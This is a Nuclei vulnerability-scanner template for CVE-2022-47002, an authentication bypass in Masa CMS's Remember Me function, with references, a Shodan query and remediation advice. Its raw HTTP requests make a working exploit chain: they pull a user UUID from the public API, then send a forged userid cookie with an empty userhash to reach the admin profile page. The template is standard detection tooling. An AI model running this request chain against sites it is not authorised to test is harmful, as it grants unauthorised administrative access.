nuclei-templates/http/cves/2022/CVE-2022-47002.yaml

79 lines
2.5 KiB
YAML
Raw Normal View History

2023-03-13 20:49:29 +00:00
id: CVE-2022-47002
2023-03-14 06:06:59 +00:00
2023-03-13 20:49:29 +00:00
info:
name: Masa CMS - Authentication Bypass
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Masa CMS 7.2, 7.3, and 7.4-beta are susceptible to authentication bypass in the Remember Me function. An attacker can bypass authentication via a crafted web request and thereby obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 11:59:08 +00:00
remediation: |
Apply the latest security patch or update provided by the vendor to fix the authentication bypass vulnerability in Masa CMS.
2023-03-13 20:49:29 +00:00
reference:
- https://hoyahaxa.blogspot.com/2023/03/authentication-bypass-mura-masa.html
- https://github.com/MasaCMS/MasaCMS/releases/tag/7.3.10
- https://hoyahaxa.blogspot.com/2023/01/preliminary-security-advisory.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-47002
- https://www.hoyahaxa.com/2023/01/preliminary-security-advisory.html
2023-03-14 06:06:59 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2023-03-14 06:06:59 +00:00
cve-id: CVE-2022-47002
cwe-id: CWE-863
epss-score: 0.01681
epss-percentile: 0.86289
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:masacms:masacms:*:*:*:*:*:*:*:*
2023-03-13 20:49:29 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 3
2023-07-11 19:49:27 +00:00
vendor: masacms
product: masacms
2023-09-06 11:59:08 +00:00
shodan-query: 'Generator: Masa CMS'
2023-03-13 20:49:29 +00:00
tags: cve,cve2022,auth-bypass,cms,masa
http:
2023-03-13 20:49:29 +00:00
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1
Host: {{Hostname}}
- |
GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
Host: {{Hostname}}
Cookie: userid={{uuid}}; userhash=
redirects: true
max-redirects: 2
2023-07-11 19:49:27 +00:00
2023-03-13 20:49:29 +00:00
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_3,"\"userid\"")'
2023-07-11 19:49:27 +00:00
condition: and
2023-03-13 20:49:29 +00:00
- type: word
part: body_3
words:
- "Edit Profile"
extractors:
- type: regex
name: siteid
group: 1
regex:
- 'siteid:"(.*?)"'
2023-07-11 19:49:27 +00:00
internal: true
part: body
2023-03-13 20:49:29 +00:00
- type: regex
name: uuid
group: 1
regex:
- '"lastupdatebyid":"([A-F0-9-]+)"'
2023-07-11 19:49:27 +00:00
internal: true
part: body
# digest: 490a0046304402206e62c49b095313484e55a68910495b3065ed87da3a4298cb06ed3872080ad9da0220437b9e028ef34994fe7fcb0779b3470533052b4ecf6827006f262c411a45493b:922c64590222798bb761d5b6d8e72950